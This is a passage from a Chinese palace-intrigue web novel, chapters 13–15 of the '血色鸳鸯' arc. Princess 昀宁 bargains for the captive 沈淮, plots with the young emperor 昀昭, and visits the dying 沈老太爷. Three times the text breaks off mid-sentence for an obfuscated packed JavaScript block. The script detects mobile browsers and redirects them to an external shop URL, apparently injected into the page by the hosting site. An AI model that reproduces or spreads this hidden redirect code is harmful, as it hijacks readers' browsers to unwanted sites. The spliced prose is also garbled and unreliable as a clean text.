昀衍站起身,走到她面前。 “殿下从一开始,就知道沈小公爷去我们那儿是做什么的,对不对?” 昀宁没有说话。 昀衍笑了。 “殿下让他来做细作,我们当然知道。但我们没有拆穿,为什么?因为我们也需要他。” 他顿了顿,继续说:“我们需要他传一些假消息,让殿下以为掌握了我们的动向。我们也需要他,在关键时刻,成为殿下的软肋。” 他指了指沈淮。 “殿下,你看,他现在就是你的软肋。” 昀宁的手指微微收紧。 昀衍看着她,目光里有一种猫戏老鼠的玩味。 “殿下今日来,是想救他。可殿下想过没有——你救得了他吗?你拿什么救?” 昀宁沉默了一瞬,然后开口。 “你想要什么?” 昀衍笑了。 “殿下爽快。”他说,“臣弟想要的,很简单——” 他凑近了些,压低声音。 “臣弟要殿下,在陛下面前,替大皇兄说一句话。” 昀宁的瞳孔微微收缩。 “什么话?” 昀衍说:“就说,大皇兄这些年,为了大燕鞠躬尽瘁,理应得到更好的位置。比如——摄政王。” 昀宁看着他。 摄政王。 那不是封号,是权力。 是能把昀昭架空的权力。 “二皇子,”她开口,“你这是在让本宫出卖昀昭。” 昀衍摊了摊手。 “殿下误会了。臣弟只是想让殿下说一句话而已。至于陛下听不听,那是陛下的事。” 他顿了顿,又说:“当然,殿下若是不愿意,那沈小公爷……” 他没有说下去。 但意思已经很明显了。 昀宁看着他,又看着跪在地上的沈淮。 沈淮也看着她。 他的眼睛里,有一种她从未见过的东西。 那是什么? 是恳求? 是绝望? 还是别的什么? “殿下,”沈淮开口,声音沙哑,“不要。” 昀宁没有理他,只是看着昀衍。 “本宫若是不答应呢?” 昀衍笑了笑。 “那沈小公爷,今天就会死在这里。” 他顿了顿,又说:“而且,会死得很惨。” 昀宁沉默了很久。 厅堂里静得可怕,只有烛火跳动的声音。 她闭上眼睛。 然后睁开。 “好。”她说,“本宫答应你。” 沈淮的眼睛猛地睁大。 “殿下!” 昀宁没有看他,只是看着昀衍。 “本宫答应你,替大皇子说话。但你要先放了沈淮。” 昀衍笑了。 “殿下,你当臣弟是三岁小孩吗?放了沈淮,你反悔了怎么办?” 他顿了顿,说:“这样吧,沈小公爷可以走,但不是现在。” 昀宁看着他。 “什么时候?” 昀衍说:“等殿下说完了那句话,等大皇兄当上了摄政王。到时候,沈小公爷自然会被放出来。” 昀宁沉默了一瞬。 “那这段时间,他在哪儿?” 昀衍指了指后面。 “就在本王府上。臣弟会好好招待他的。” 昀宁看着他,目光冰冷。 “本宫怎么知道你不会害他?” 昀衍笑了。 “殿下,你没有选择。” 昀宁没有说话。 她知道他说得对。 她没有选择。 “殿下,”沈淮的声音从后面传来,“您不能答应!” 昀宁转过身,看着他。 沈淮跪在地上,浑身是血,却拼命抬起头看着她。 “殿下,”他说,“臣死不足惜。但您要是答应了他们,陛下怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316914|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办?” 昀宁没有说话。 沈淮继续说:“殿下,您忘了您答应过什么吗?您答应过陛下,会一直护着他。您要是替他们说话,陛下怎么办?这江山怎么办?” 昀宁看着他,眼眶忽然有些发酸。 “沈淮,”她开口,声音很轻,“本宫知道。” 沈淮愣住了。 “你知道?那你还……” 昀宁打断他。 “本宫知道,本宫不该答应。但本宫不能不答应。” 她顿了顿,一字一句地说:“因为本宫不能让你死。” 沈淮看着她,眼眶也红了。 “殿下……” 昀宁没有再说话。 她只是转过身,看着昀衍。 “二皇兄,本宫答应你的事,会做到。但你也要答应本宫一件事。” 昀衍挑了挑眉。 “什么事?” 昀宁说:“好好待他。他若是有任何损伤,本宫不会放过你。” 昀衍笑了。 “殿下放心,臣弟会好好照顾沈小公爷的。” 昀宁点点头,转身往外走。 走到门口,她忽然停下脚步,回过头。 沈淮还跪在那里,看着她。 那双眼睛里,有心疼,有愧疚,还有一种她说不清的东西。 她忽然想起很久以前,母后说过的一句话。 “昀宁,这世上,最难熬的,是你不得不做你不愿做的事。” 她现在懂了。 “沈淮,”她说,“等着本宫。” 沈淮看着她,嘴角弯了弯,像是在笑。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣等您。” 昀宁点点头,转身走了出去。 身后,传来昀衍的声音。 “殿下慢走。臣弟等着您的好消息。” 昀宁没有回头。 她只是一步一步,走出了大皇子府。 走出那扇朱红的大门,走出那两只张牙舞爪的石狮子。 外面,天阴沉沉的,像是要下雨。 阿蘅在马车旁等着,见她出来,连忙迎上去。 “殿下!殿下您没事吧?” 昀宁摇摇头。 “回宫。” 马车缓缓启动,朝皇城的方向驶去。 车厢里,昀宁闭着眼睛,靠在车壁上。 阿蘅小心翼翼地看着她,想说什么又不敢说。 过了很久,昀宁忽然开口。 “阿蘅。” 阿蘅连忙应声:“奴婢在。” 昀宁说:“你说,本宫是不是做错了?” 阿蘅愣住了。 “殿下……” 昀宁睁开眼睛,看着她。 “本宫答应他们,要替昀启说话。本宫明知道那是对昀昭不利的事,还是答应了。本宫是不是做错了?” 阿蘅的眼泪掉下来。 “殿下,您没有错。您是为了救沈小公爷。” 昀宁摇摇头。 “为了救一个人,去害另一个人。这还不是错吗?” 阿蘅说不出话来。 昀宁没有再说话。 她只是看着车窗外,看着那些飞快后退的街道、房屋、行人。 她忽然想起沈淮最后那个笑容。 那么淡,却那么亮。 她想起他说“臣等您”。 她不知道,她能不能让他等到。 她也不知道,她还能不能把他救出来。 她只知道,她已经走上了一条不归路。 马车在宫门口停下。 昀宁下了车,走进宫门。 身后,天边的乌云越来越厚,压得人喘不过气来。 要下雨了。 那天夜里,昀宁去了东宫。 昀昭已经睡了,小小的身子蜷在被子里,像一只小猫。 昀宁坐在床边,看着他。 他睡得很沉,眉头微微皱着,像是在做什么梦。 她伸出手,轻轻抚平他的眉头。 “昀昭,”她轻声说,“对不起。” 昀昭没有醒,只是翻了个身,嘟囔了一句什么。 昀宁看着他,眼眶忽然湿了。 她想起他小时候,总是跟在她后面跑,喊着“皇姐皇姐”。 她想起他第一次上朝的时候,坐在龙椅上,小小的身子被冕旒遮住大半张脸。 她想起他说“不管别人说什么,我都信皇姐”。 她闭上眼睛,深深地吸了一口气。 然后她站起身,走了出去。 她不知道明天会发生什么。 她只知道,她必须去做她答应的事。 为了他。 为了沈淮。 也为了她自己。 ——第十三章完—— 14. 血色鸳鸯 3 昀宁从大皇子府回来的那天夜里,发起了高烧。 阿蘅急得团团转,连夜宣了太医。太医诊过脉,说是忧思过度,又受了风寒,需要静养。 昀宁躺在床上,烧得迷迷糊糊,嘴里一直说着胡话。阿蘅凑近了听,隐约听见几个字——“沈淮”“昀昭”“对不起”。 她听着听着,眼泪就掉下来了。 三天后,昀宁的烧退了。 她睁开眼睛,看见阿蘅守在床边,眼睛红肿着,像是几天没睡。 “什么时辰了?”她问,声音沙哑。 阿蘅连忙扶她起来。 “殿下,您可算醒了。都三天了,吓死奴婢了。” 昀宁沉默了一瞬。 三天。 她躺了三天。 那这三天里,外面发生了什么? “沈淮呢?”她问。 阿蘅的脸色变了变,支吾道:“还……还在大皇子府。” 昀宁看着她。 “还有呢?” 阿蘅低下头,不敢看她。 “说。” 阿蘅一咬牙,跪了下去。 “殿下,奴婢说了您别急——大皇子那边放话出来,说沈小公爷是细作,要公开处决。日子定在十日后,就在城门口。” 昀宁的手指微微收紧。 十日。 她还有十天。 “还有吗?” 阿蘅犹豫了一下,继续说:“沈家那边……也出事了。” 昀宁的心猛地一沉。 “什么事?” 阿蘅说:“沈家的老太爷,沈小公爷的祖父,昨日忽然病重。太医去看过,说是不大好。沈家的人急坏了,都在外面打听消息。” 昀宁沉默了很久。 沈老太爷。 那是沈家的顶梁柱,是三朝元老,是先帝最信任的老臣之一。他病重,意味着什么,不言而喻。 沈家要变天了。 而在这个时候,沈淮被抓,沈老太爷病重——这是巧合吗? 不是。 是昀启和昀衍的手笔。 他们要的,不只是沈淮的命,是整个沈家。 昀宁闭上眼睛,深深地吸了一口气。 然后她睁开眼睛,掀开被子下床。 “殿下!”阿蘅急了,“您还没好利索,不能下床!” 昀宁没有理她,只是走到窗前,推开窗户。 冷风灌进来,带着深秋的寒意。她打了个寒颤,却没有关上窗。 她需要清醒。 彻底清醒。 “阿蘅。”她开口。 阿蘅连忙上前。 昀宁说:“让人去请薛明。今夜子时,老地方。” 阿蘅愣住了。 “殿下,您要……” 昀宁转过身,看着她。 “本宫要做一件事。”她说,“一件大事。” 那天夜里,子时,城西那处僻静的宅院里,昀宁再次见到了薛明。 他比上次见面时憔悴了许多,眼睛里布满血丝,像是几天没睡。 “殿下,”他跪下行礼,“臣有罪。” 昀宁看着他。 “你有什么罪?” 薛明说:“臣中了他们的计。臣以为十月二十是真的,派人去西门盯着,结果被他们发现了。沈小公爷被抓,都是因为臣……” “起来。”昀宁打断他。 薛明抬起头,看着她。 昀宁说:“这件事不怪你。他们从一开始就在布局,不只是针对你,是针对所有人。” 薛明站起身,低着头,不敢看她。 昀宁走到他面前。 “薛统领,”她说,“本宫问你一件事。” 薛明抬起头。 昀宁说:“如果本宫让你再做一次,你还敢不敢?” 薛明愣住了。 “殿下……” 昀宁看着他,目光平静。 “他们以为赢了。他们以为本宫会乖乖听话,替昀启说话。他们以为沈淮在他们手里,本宫就什么都做不了。” 她顿了顿,一字一句地说:“但他们错了。” 薛明的眼睛亮了一下。 “殿下,您是说……” 昀宁点点头。 “本宫要和他们下一盘棋。一盘很大的棋。” 她走到桌前,摊开一张地图。 “这是京城的地图。这是西门,这是南门,这是北门,这是东门。” 她指着那些城门,一个一个说下去。 “西门是周延的人,北门被我们端了,东门是中立的,南门是你的人。” 薛明看着地图,眉头微微皱起。 “殿下,您想怎么做?” 昀宁说:“他们以为本宫会去求昀昭,替昀启说话。他们以为昀昭会听本宫的,封昀启做摄政王。到时候,昀启名正言顺掌权,昀衍从旁协助,这天下就是他们的了。” 她顿了顿,冷笑了一声。 “但他们忘了一件事。” 薛明问:“什么事?” 昀宁看着他,目光里有一种奇怪的光芒。 “他们忘了,昀昭不只是个十二岁的孩子。” 薛明愣住了。 昀宁继续说:“昀昭是皇帝。他虽然小,但他不傻。本宫教了他这么久,他不会连这点事都看不出来。” 她指着地图上的皇宫。 “到时候,本宫会去求昀昭。但本宫求的,不是封昀启做摄政王。” 薛明的心猛地一跳。 “那殿下求的是……” 昀宁说:“本宫会求昀昭,赐本宫一道密旨。” 薛明的眼睛睁大了。 “密旨?” 昀宁点点头。 “一道可以让薛明你在关键时刻调动禁军、捉拿逆贼的密旨。” 薛明看着她,忽然明白了什么。 “殿下,您是想……” 昀宁说:“本宫要让他们以为本宫听话,让他们放松警惕。等他们动手的时候,就是他们落网的时候。” 薛明沉默了很久。 他看着眼前这个女人,看着她那张苍白的脸,看着那双亮得惊人的眼睛。 他忽然想起那天夜里,她站在北门外,手里握着剑,像是一尊雕像。 那时候他就知道,这个女人,和别人不一样。 “殿下,”他开口,“臣有一句话,不知当讲不当讲。” 昀宁看着他。 “说。” 薛明说:“殿下这么做,是在拿自己的命赌。” 昀宁没有说话。 薛明继续说:“万一他们识破了,万一陛下没有给密旨,万一中间出一点差错——殿下,您会死的。” 昀宁沉默了一瞬,然后笑了。 那笑容很淡,却让薛明的心跳漏了一拍。 “薛统领,”她说,“本宫从接下那个案子开始,就在赌了。” 她顿了顿,又说:“更何况,本宫赌的,不是自己的命。” 她指着地图上的皇宫。 “本宫赌的,是昀昭的命,是这大燕的江山。” 薛明看着她,眼眶忽然有些发酸。 他跪了下去。 “殿下,”他说,“臣愿为殿下效死。” 昀宁扶起他。 “薛统领,”她说,“本宫不要你死。本宫要你活着,好好活着,替本宫守住那道南门。” 她顿了顿,又说:“这一次,是真的。” 薛明点点头,转身离去。 昀宁站在原地,看着他的背影消失在夜色中。 窗外,没有月亮,没有星星,一片漆黑。 她忽然想起沈淮那双亮亮的眼睛。 想起他说“臣的心,是真的”。 她在心里默默地说—— 沈淮,等着本宫。 本宫一定会救你出来。 第二天,昀宁去了乾清宫。 昀昭正在批奏折,小小的身子坐在大大的龙椅上,显得格外单薄。见她进来,他抬起头,眼睛一亮。 “皇姐!” 昀宁走过去,在他旁边坐下。 昀昭看着她,忽然皱起眉头。 “皇姐,你瘦了。” 昀宁笑了笑。 “瘦了好看。” 昀昭不信,只是看着她,眼睛里满是心疼。 “皇姐,你是不是有心事?” 昀宁沉默了一瞬,然后点点头。 “是。” 昀昭坐直了身子。 “什么事?你说,我能帮忙。” 昀宁看着他,看着他那双亮亮的眼睛。 她忽然有些不忍。 她接下来要说的话,是在骗他。 虽然不是要害他,但终究是骗。 “昀昭,”她开口,“姐姐想求你一件事。” 昀昭点点头。 “你说。” 昀宁说:“如果明天,或者后天,姐姐在朝会上替大皇叔说话,你……” 她顿了顿,继续说:“你不要当真。” 昀昭愣住了。 “什么意思?” 昀宁看着他,目光认真。 “姐姐接下来要做的事,可能会让你觉得奇怪。姐姐可能会说一些不该说的话,做一些不该做的事。但你要记住——” 她握住他的手。 “姐姐永远是你姐姐。姐姐做的所有事,都是为了你。” 昀昭看着她,看了很久。 然后他忽然笑了。 那笑容很明亮,像是阳光穿透云层。 “皇姐,”他说,“我知道了。” 昀宁愣了一下。 “你知道什么了?” 昀昭说:“我知道皇姐在演戏。就像下棋一样,有时候要故意输几子,才能赢到最后。” 昀宁看着他,眼眶忽然有些发酸。 她的小昭,真的长大了。 “昀昭,”她说,“姐姐要的东西,你给吗?” 昀昭点点头。 “给。” 他顿了顿,又问:“皇姐要什么?” 昀宁凑近他耳边,压低声音说了几句话。 昀昭听着,眼睛越来越亮。 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316915|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完之后,他用力点点头。 “好。” 那天之后,京城里的气氛越来越诡异。 表面上一切如常,但暗地里,每个人都在等着什么。 昀宁开始频繁出入大皇子府。 每次去,她都带着礼物,态度恭敬,说话客气。昀启见了她,总是笑眯眯的,问东问西。昀衍坐在一旁,很少说话,只是偶尔看她一眼。 那目光沉沉的,像是要把她看透。 昀宁知道他在打量她。 她也不躲,只是坦然面对。 她有什么好躲的? 她本来就是来演戏的。 那一日,昀宁又去大皇子府。 这一次,她见到了沈淮。 他被人从后面带出来,浑身是伤,比上次更重。他的脸色苍白得像纸,走路都需要人扶着。 看见昀宁,他的眼睛猛地睁大。 “殿下……” 昀宁看着他,心里疼得像刀绞一样。 但她脸上什么也没表现出来。 她只是站起身,走到他面前。 “沈淮,”她说,声音平静,“你受苦了。” 沈淮看着她,目光里有心疼,有愧疚,还有一丝她看不懂的东西。 “殿下,”他说,“您不该来。” 昀宁没有说话。 昀衍在一旁笑了。 “沈小公爷,长公主殿下是来看你的。你看,她对你多好。” 沈淮看着他,又看着昀宁,忽然问:“殿下,您答应他们了?” 昀宁沉默了一瞬,然后点点头。 “是。” 沈淮的眼睛里闪过一丝痛苦。 “殿下,您不该答应的。” 昀宁看着他,忽然问:“沈淮,你相信本宫吗?” 沈淮愣住了。 昀宁看着他,目光平静。 “本宫问你,你相信本宫吗?” 沈淮沉默了很久。 然后他点点头。 “臣信。” 昀宁笑了。 那笑容很淡,却让沈淮的心跳漏了一拍。 “那就好。”她说,“等着本宫。” 她转身往外走。 身后,传来沈淮的声音。 “殿下!” 昀宁停下脚步,没有回头。 沈淮说:“无论殿下做什么,臣都信。” 昀宁点点头,继续往前走。 走出大皇子府,上了马车。 马车缓缓启动,朝皇城的方向驶去。 车厢里,昀宁闭着眼睛,靠在车壁上。 阿蘅小心翼翼地看着她。 “殿下,您还好吗?” 昀宁没有回答。 她只是想着沈淮最后那句话。 “无论殿下做什么,臣都信。” 她忽然睁开眼睛,看着车窗外。 窗外,天很蓝,有几朵白云悠悠地飘着。 她想起她要做的事。 想起她要布的局。 想起她要赌的一切。 她不知道这个局能不能成。 她只知道,她必须去做。 为了沈淮。 为了昀昭。 为了她自己。 十月十九。 离沈淮处决还有一天。 那一天,朝会上,昀宁终于开口了。 她站在珠帘后面,声音清冷,传遍整个大殿。 “陛下,臣有一言,不知当讲不当讲。” 昀昭坐在龙椅上,看着她。 “皇姐请讲。” 昀宁说:“大皇子昀启,这些年为国操劳,鞠躬尽瘁。臣以为,陛下应当重赏大皇叔,以示褒奖。” 朝堂上一片寂静。 所有人都看着她,目光里满是震惊。 长公主,居然替大皇子说话? 昀启站在队列中,嘴角微微弯起,像是早就料到会有这一天。 昀衍站在他旁边,依旧是那副淡淡的模样,看不出喜怒。 昀昭沉默了一瞬,然后开口。 “皇姐说得是。”他说,“大皇叔确实劳苦功高。朕决定——” 他顿了顿。 “封大皇叔为摄政王,辅佐朕处理朝政。” 朝堂上顿时一片哗然。 昀启跪了下去。 “臣叩谢陛下隆恩!” 昀昭看着他,笑了笑。 “大皇叔平身。” 那一天,昀启被封为摄政王。 那一天,京城里都在议论——长公主居然替大皇子说话,这是什么意思? 没有人知道答案。 只有昀宁自己知道。 她站在摘星阁的窗前,看着窗外的天空。 天很蓝,蓝得像是一块琉璃。 她想起沈淮。 想起明天。 明天,就是处决的日子。 但沈淮不会死。 因为今晚,会有人去救他。 而她,会在这里等着。 等着那些人,自投罗网。 ——第十四章完—— 15. 血色鸳鸯 4 十月二十。 寅时三刻,天还没亮。 昀宁站在摘星阁的窗前,看着外面黑沉沉的天。今夜的月色很淡,被云遮去大半,只漏下几缕惨白的光,落在庭院里的石板上,像是一地的霜。 阿蘅在一旁候着,紧张得直搓手。 “殿下,薛统领那边……不会有问题吧?” 昀宁没有回答。 她只是看着窗外,看着那片黑沉沉的天。 薛明的人,半个时辰前就出发了。他们要从南门绕到大皇子府的后街,等昀宁的信号一到,就冲进去救人。 信号是什么? 是朝会。 等天亮了,朝会开始,昀启和昀衍都去上朝了,府里守卫空虚,就是动手的最佳时机。 一切都算好了。 只等天亮。 “殿下,”阿蘅忽然说,“您去歇一会儿吧,天还早呢。” 昀宁摇摇头。 “睡不着。” 阿蘅看着她,眼眶有些发酸。 这半个月,殿下瘦了多少?原本就单薄的身子,现在更是瘦得一阵风就能吹倒。她每天睡不过两个时辰,吃的饭还没有猫多,却还要撑着去应付那些人,去演戏,去布局。 “殿下,”阿蘅小声说,“等这件事了了,您一定要好好歇歇。” 昀宁没有说话。 她只是看着窗外,看着那片黑沉沉的天。 等这件事了了。 等沈淮回来。 等她把那些人一网打尽。 到时候,她一定要好好睡一觉。 睡他个三天三夜。 卯时,天边泛起鱼肚白。 朝会的时辰到了。 昀宁换好朝服,走出摘星阁。 刚走到乾清宫门口,一个小太监匆匆跑来,跪在她面前。 “殿下!殿下!” 昀宁停下脚步。 “什么事?” 小太监抬起头,脸色煞白。 “殿下,出事了。” 昀宁的心猛地一沉。 “什么事?” 小太监说:“沈……沈小公爷,他……他……” “他怎么了?说!” 小太监一咬牙,把话说完:“沈小公爷,被大皇子的人带走了。不是去刑场,是去了……去了大皇子的府邸。他们说,沈小公爷是自己走进去的,没有绑,没有押,是自己走进去的。” 昀宁愣住了。 自己走进去的? 什么意思? “薛明呢?”她问,“薛明的人呢?” 小太监摇摇头:“不知道。薛统领那边,一点消息都没有。” 昀宁站在原地,一动不动。 晨风吹过来,带着深秋的寒意,吹得她的衣袍猎猎作响。 她忽然想起一件事。 昨日下午,阿蘅告诉她,沈家那边有动静——沈老太爷的病情,忽然好转了。 当时她没多想。 现在想起来,那是什么? 是信号? 还是—— “殿下!”阿蘅的声音把她拉回来,“朝会要开始了。” 昀宁深吸一口气,迈步走进乾清宫。 朝会如常进行。 昀启站在最前面,穿着一身崭新的摄政王服制,面带微笑。昀衍站在他旁边,依旧是那副淡淡的模样,看不出喜怒。 昀昭坐在龙椅上,小小的身子挺得笔直。 一切都和昨天一样。 但昀宁知道,有些东西,已经不一样了。 散朝后,昀宁没有回摘星阁,而是直接去了大皇子府。 大门依旧敞着,像是一张等着猎物自投罗网的嘴。 她走进去,穿过影壁,绕过回廊,最后停在那间熟悉的厅堂前。 厅堂的门敞开着,里面坐着三个人。 昀启,昀衍。 还有沈淮。 他坐在客位上,换了一身干净的衣裳,脸上的伤也处理过了,看上去比昨天好了许多。见昀宁进来,他站起身,朝她行了一礼。 “殿下。” 昀宁看着他,目光平静。 “沈淮,你怎么在这儿?” 沈淮沉默了一瞬,然后开口。 “殿下,臣……” “他当然在这儿。”昀启打断他,笑了笑,“长公主殿下,沈小公爷从今天起,就是本王的人了。” 昀宁的目光微微一凝。 “什么意思?” 昀启站起身,走到沈淮身边,拍了拍他的肩膀。 “意思就是,沈小公爷想通了。他知道,跟着本王,比跟着殿下更有前途。” 昀宁看着沈淮。 沈淮也看着她。 那双眼睛还是那么亮,但亮光里,多了一些她看不懂的东西。 “沈淮,”她开口,“他说的是真的?” 沈淮沉默了很久。 然后他点了点头。 “是。” 昀宁的心像是被什么东西狠狠刺了一下。 但她脸上什么也没表现出来。 “为什么?” 沈淮看着她,目光复杂。 “殿下,臣有臣的苦衷。” 昀宁问:“什么苦衷?” 沈淮没有说话。 昀启在一旁笑了。 “殿下,你就别问了。沈小公爷不愿意说,本王也不好替他开口。但你放心,从今天起,他是本王的人,本王会好好待他的。” 昀宁没有理他,只是看着沈淮。 “沈淮,”她说,“本宫只问你一件事。” 沈淮看着她。 昀宁问:“你之前说的那些话,是真的还是假的?” 沈淮沉默了一瞬,然后开口。 “殿下,臣之前说的话,都是真的。” 昀宁的心微微一颤。 “那现在呢?” 沈淮看着她,目光里有心疼,有愧疚,还有一种她看不懂的东西。 “殿下,”他说,“现在也是真的。” 昀宁没有说话。 她只是看着他,看了很久。 然后她转身,往外走。 走到门口,她忽然停下脚步,没有回头。 “沈淮,”她说,“本宫信你。” 沈淮的眼睛猛地睁大。 “殿下……” 昀宁继续说:“本宫不知道你为什么要这么做。但本宫信你。” 她顿了顿,声音轻了下去。 “你答应过本宫,会等本宫。” 说完,她推门走了出去。 身后,一片寂静。 走出大皇子府,上了马车。 马车缓缓启动,朝皇城的方向驶去。 车厢里,昀宁闭着眼睛,靠在车壁上。 阿蘅小心翼翼地看着她,不敢说话。 过了很久,昀宁忽然开口。 “阿蘅。” 阿蘅连忙应声:“奴婢在。” 昀宁说:“让人去查。沈家这几天,发生了什么。” 阿蘅愣了一下。 “殿下,您是说……” 昀宁睁开眼睛,看着她。 “沈淮不会无缘无故做这种事。”她说,“一定有什么事,逼他这么做。” 阿蘅点点头。 “奴婢这就去办。” 她掀开车帘,对外面的人吩咐了几句。 马车继续往前走。 昀宁靠在车壁上,闭上眼睛。 她想起沈淮最后那个眼神。 那里面有心疼,有愧疚,还有一种她看不懂的东西。 那是什么? 是无奈? 是诀别? 还是别的什么? 她不知道。 她只知道,她信他。 无论发生什么,她都信他。 三天后,消息查清楚了。 阿蘅跪在昀宁面前,脸色很难看。 “殿下,查到了。” 昀宁看着她。 “说。” 阿蘅说:“沈老太爷的病,不是自己好的。” 昀宁的心微微一沉。 “什么意思?” 阿蘅说:“是大皇子的人做的。他们给沈老太爷用了药,让他暂时好转,然后派人去和沈小公爷谈判。” 昀宁的手指微微收紧。 “谈什么?” 阿蘅犹豫了一下,还是说了。 “他们说,只要沈小公爷肯归顺大皇子,他们就保沈家无事。否则,沈老太爷的病,就不会再好了。” 昀宁沉默了很久。 她明白了。 沈淮不是想背叛。 他是被逼的。 沈老太爷是沈家的顶梁柱,是沈淮最敬重的人。他们拿沈老太爷的命威胁他,他没有选择。 “殿下,”阿蘅说,“还有一件事。” 昀宁看着她。 阿蘅说:“沈老太爷,其实早就知道这件事。他知道大皇子的人给他用药,也知道大皇子的人拿他威胁沈小公爷。但他……” 她顿了顿,声音低了下去。 “但他告诉沈小公爷,让他不要管自己,让他继续帮殿下。” 昀宁的心像是被什么东西狠狠撞了一下。 “什么?” 阿蘅说:“沈老太爷说,沈家世代忠良,不能因为他一个人,就坏了沈家的名声。他让沈小公爷不要管他,该怎么做就怎么做。” 昀宁沉默了很久。 她忽然想起沈淮那个眼神。 那里面有心痛,有愧疚。 还有—— 她明白了。 他选择归顺昀启,不是为了自己。 是为了沈老太爷。 他不能眼睁睁看着祖父去死。 哪怕祖父说不要管他,他也做不到。 “殿下,”阿蘅小声问,“现在怎么办?” 昀宁没有说话。 她站起身,走到窗前。 窗外,天阴沉沉的,像是要下雪。 她忽然想起沈淮说过的话。 “臣的心,是真的。” 是的。 他的心是真的。 无论发生什么,都是真的。 可现在,他被困住了。 被困在家族和忠诚之间,被困在祖父和昀宁之间,被困在他自己编织的牢笼里。 她要去救他。 可她怎么救? 沈老太爷的命在昀启手里,她动不了。 沈淮的命也在昀启手里,她也动不了。 她能动的是什么? 是她自己。 她闭上眼睛,深深地吸了一口气。 然后她睁开眼睛,转过身。 “阿蘅。” 阿蘅连忙应声。 昀宁说:“备车。本宫要去见一个人。” 阿蘅愣了一下。 “谁?” 昀宁看着她,目光平静。 “沈老太爷。” 那天下午,昀宁去了沈家。 沈家的府邸在城东,是一座三进的院子,不大,却很雅致。门口的石狮子被岁月磨得圆润光滑,门上的朱漆也褪了色,透着一股沉静的气息。 沈家的人早就接到消息,开了中门迎接。 昀宁下了车,走进沈家。 穿过影壁,绕过回廊,最后停在一间屋子前。 屋门虚掩着,里面传来一阵阵咳嗽声。 “殿下,”领路的老管家说,“老太爷在里面。他身子不好,不能起身迎接,还请殿下恕罪。” 昀宁点点头,推门走进去。 屋子里光线昏暗,弥漫着一股药味。床上躺着一个人,头发花白,脸上皱纹如沟壑纵横,瘦得只剩一把骨头。 沈老太爷。 三朝元老,先帝最信任的老臣。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316916|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁开眼睛,看见昀宁,挣扎着想坐起来。 昀宁快步上前,按住他。 “老太爷不必多礼。” 沈老太爷看着她,眼眶忽然湿了。 “殿下……老臣有罪……” 昀宁摇摇头。 “老太爷没有罪。” 沈老太爷的眼泪流下来。 “老臣活着,就是拖累。他们拿老臣威胁淮儿,淮儿为了老臣,做了不该做的事。老臣……” 他说不下去了。 昀宁看着他,心里涌起一股酸涩。 “老太爷,”她说,“本宫今日来,是想问您一件事。” 沈老太爷看着她。 昀宁问:“您想不想让沈淮活?” 沈老太爷的眼睛猛地睁大。 “殿下,您……” 昀宁说:“本宫有一个办法,可以救他。但需要您配合。” 沈老太爷看着她,看了很久。 然后他忽然笑了。 那笑容很淡,淡得几乎看不出来。 “殿下,”他说,“老臣这条命,早就该没了。能换淮儿一命,老臣求之不得。” 昀宁的心微微一颤。 “老太爷,您知道本宫说的是什么办法?” 沈老太爷点点头。 “老臣知道。” 他顿了顿,又说:“殿下,老臣活了七十三年,够本了。淮儿才二十出头,他还有很长的路要走。” 昀宁看着他,眼眶有些发酸。 她忽然想起自己的父皇。 想起他临终前,握着她的手,说“昀宁,护着你弟弟”。 父母的心,都是一样的。 “老太爷,”她开口,声音有些哽咽,“本宫替沈淮,谢谢您。” 沈老太爷摇摇头。 “殿下不必谢老臣。老臣只求殿下一件事。” 昀宁看着他。 沈老太爷说:“日后,若是淮儿有什么不对的地方,殿下多担待。” 昀宁点点头。 “本宫答应您。” 沈老太爷笑了。 那笑容很安详,像是放下了什么重担。 “殿下,”他说,“老臣准备好了。” 那天夜里,沈老太爷去了。 走得很安详,像是睡着了一样。 沈家举哀,满城皆知。 昀宁站在摘星阁的窗前,听着远处传来的丧钟声,一下,一下,像是敲在心上。 阿蘅在一旁小声说:“殿下,沈老太爷走了。” 昀宁点点头。 “知道了。” 阿蘅看着她,想说什么又不敢说。 昀宁知道她想问什么。 想问,老太爷是怎么走的? 是病死的,还是…… 她没有问,昀宁也不会说。 那是她和老太爷之间的秘密。 “殿下,”阿蘅说,“沈小公爷那边……会知道吗?” 昀宁沉默了一瞬。 “会。”她说,“他很快就会知道。” 阿蘅问:“那他……” 昀宁摇摇头。 “不知道。” 她确实不知道。 不知道沈淮知道这个消息后,会是什么反应。 会恨她吗? 会后悔吗? 会…… 她没有想下去。 她只是看着窗外,看着那片黑沉沉的天。 丧钟还在响,一下,一下。 像是有人在替她,敲着什么。 三天后,沈老太爷出殡。 昀宁没有去。 